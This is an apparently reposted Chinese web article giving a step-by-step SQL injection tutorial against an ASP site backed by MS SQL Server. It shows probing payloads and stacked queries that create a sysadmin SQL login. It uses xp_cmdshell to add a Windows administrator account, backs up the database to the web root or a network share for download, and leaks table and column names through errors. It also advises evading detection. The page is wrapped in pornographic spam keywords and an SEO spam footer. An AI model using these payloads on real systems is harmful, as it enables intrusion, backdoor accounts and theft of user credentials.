国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > 綜合 > 正文

SQL注入實戰---利用"dbo"獲得SQL管理權限和系統權限

2024-07-21 02:11:07
字體:
來源:轉載
供稿:網友
中國最大的web開發資源網站及技術社區,

作者:覆滅之魔 文章來源:影子鷹安全網絡

剛剛開始學習sql注入入侵,有寫的不對和不好的地方希望各位師哥,師姐們多多指導。

在一個供求信息發布的網站上測試了一下,頁面http://www.xxx.com/new/new.asp?id=49

我做了如下測試:(1) http://www.xxx.com/new/new.asp?id=49'

microsoft ole db provider for odbc drivers 錯誤 '80040e14
[microsoft][odbc microsoft access driver] 字符串的語法錯誤
在查詢表達式 'id=49'' 中。
/new.asp,行36

(2) http://www.xxx.com/new/new.asp?id=49 and 1=1
(正常返回頁面)

(3) http://www.xxx.com/new/new.asp?id=49 and 1=2
microsoft ole db provider for odbc drivers 錯誤 '800a0bcd'
bof 或 eof 中有一個是"真",或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
/new.asp,行42

注:上面的測試已經可以看出有sql注入的機會,我們用下面一個句子來判斷他數據庫類型和登陸身份。
http://www.xxx.com/new/new.asp?id=49 and user>0
microsoft ole db provider for odbc drivers 錯誤 '800a0bcd'
將nvarchar值 "dbo" 轉換數據類型為 int 的列時發生語法錯誤
/new.asp,行42
注:如果顯示"dbo" 轉換數據類型為 int 的列時發生語法錯誤 那么就可以用我下面介紹的方法來獲得系統管理權限,如果是"abc" 轉換數據類型為 int 的列時發生語法錯誤 那么就用不能用我下面的介紹來獲得系統權限了。

獲得以上信息后,就可以提交以下url來一步一步的獲得sql管理員權限和系統權限了。

(1) http://www.xxx.com/new/new.asp?id=49;exec
aster.dbo.sp_addlogin fmzm;--
添加sql用戶

(2) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_password null,fmzm,fmzm;--
設置sql帳號fmzm 的密碼為 fmzm

(3) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--

提升權限:加fmzm進sysadmin管理組(有時候會不成功,就常識下面的句子
;exec master.dbo.sp_addsrvrolemember fmzm,sysadmin-- 為什么會這樣,我也不清清楚,我就遇到了?栽 。。。)

(4) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
建立一個系統用fmzm 并設置其密碼為fmzm
(注:/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes 這些很關鍵,如果不加這些,你建立的用戶很有可能無法登陸,這些是啟用你的帳號,并且使密碼永不過期的一些相關設置。)

(5) http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--

把帳號fmzm加入到管理員組

ok,到此為止,已經得到了sql管理權限和系統權限了,還有什么不能做的呢?把上面的句子變個形 開個telnet,或者用sql連接器去連接,隨便你怎么整了,記得別暴露自己哦 :)目前有些好的ids已經開始監視xp_cmdshell這些關鍵字了.


附:
(1) http://site/url.asp?id=1 ;;and db_name()>0

前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統變量,返回的是連接的數據庫名。

(2) http://site/url.asp?id=1;backup database 數據庫名 to disk='c:/inetpub/wwwroot/1.db';--

這是相當狠的一招,從③拿到的數據庫名,加上某些iis出錯暴露出的絕對路徑,將數據庫備份到web目錄下面,再用http把整個數據庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網絡地址的方法(如//202.96.xx.xx/share/1.db),但成功率不高。

   (3) http://site/url.asp?id=1 ;;and (select top 1 name from sysobjects where xtype='u' and status>0)>0

sysobjects是sqlserver的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype='u' and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎么獲取?還是可以
自己考慮下。

(4) http://site/url.asp?id=1 ;;and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0

從(3)拿到表名后,用object_id('表名')獲取表名對應的內部id,col_name(表名id,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 买车| 绥中县| 莫力| 将乐县| 天祝| 喀喇| 荔浦县| 黄浦区| 赣榆县| 灵台县| 凌云县| 定结县| 封丘县| 汝南县| 麻阳| 龙州县| 四川省| 柳林县| 吴旗县| 马鞍山市| 阆中市| 雷波县| 东莞市| 大埔县| 中西区| 佛坪县| 五原县| 平阳县| 龙陵县| 天津市| 砚山县| 江孜县| 临澧县| 紫阳县| 赫章县| 石首市| 平遥县| 长寿区| 淅川县| 成安县| 安阳县|